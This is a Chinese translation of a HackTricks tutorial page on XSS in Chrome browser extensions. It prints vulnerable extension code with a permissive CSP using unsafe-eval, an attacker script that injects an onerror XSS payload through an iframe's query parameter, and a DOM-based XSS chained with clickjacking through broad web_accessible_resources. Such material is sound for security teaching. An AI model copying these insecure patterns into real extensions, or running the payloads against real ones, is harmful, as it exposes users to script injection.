hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

6.7 KiB
Raw Blame History

BrowExt - XSS 示例

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

通过Iframe进行跨站脚本XSS

在这个设置中,实现了一个内容脚本来实例化一个Iframe将带有查询参数的URL作为Iframe的来源

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

一个公开访问的HTML页面message.html旨在根据URL中的参数动态向文档主体添加内容

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

恶意脚本在对手页面上执行修改了Iframe源的content参数,引入了一个XSS payload。这是通过更新Iframe的源以包含有害脚本来实现的

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

一个过于宽松的内容安全策略,比如:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

允许执行JavaScript使系统容易受到XSS攻击。

触发XSS的另一种方法是创建一个Iframe元素并将其源设置为包含有害脚本作为content参数:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

这个例子取自原始帖子

核心问题源于位于**/html/bookmarks.html中的DOM-based跨站脚本XSS漏洞。有问题的JavaScript代码是bookmarks.js**中的一部分,具体如下:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

这段代码从**txtName输入框中获取value**,然后使用字符串拼接生成HTML最后通过jQuery的.append()函数将其附加到DOM中。

通常情况下Chrome扩展的内容安全策略CSP会防止此类漏洞。然而由于通过unsafe-eval放宽CSP以及使用jQuery的DOM操作方法其中使用globalEval()将脚本传递给eval()以在DOM插入时执行仍然存在利用可能。

尽管这个漏洞很重要但其利用通常取决于用户交互访问页面、输入XSS有效负载并激活“Add”按钮。

为了增强这个漏洞,还利用了一个次要的点击劫持漏洞。Chrome扩展的清单展示了一个广泛的web_accessible_resources策略:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

值得注意的是,/html/bookmarks.html 页面容易受到框架化的影响,因此容易受到点击劫持的攻击。攻击者利用这种漏洞将页面嵌入到攻击者的站点中并用DOM元素覆盖它以欺骗性地重新设计界面。这种操纵会导致受害者无意中与底层扩展进行交互。

参考资料

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式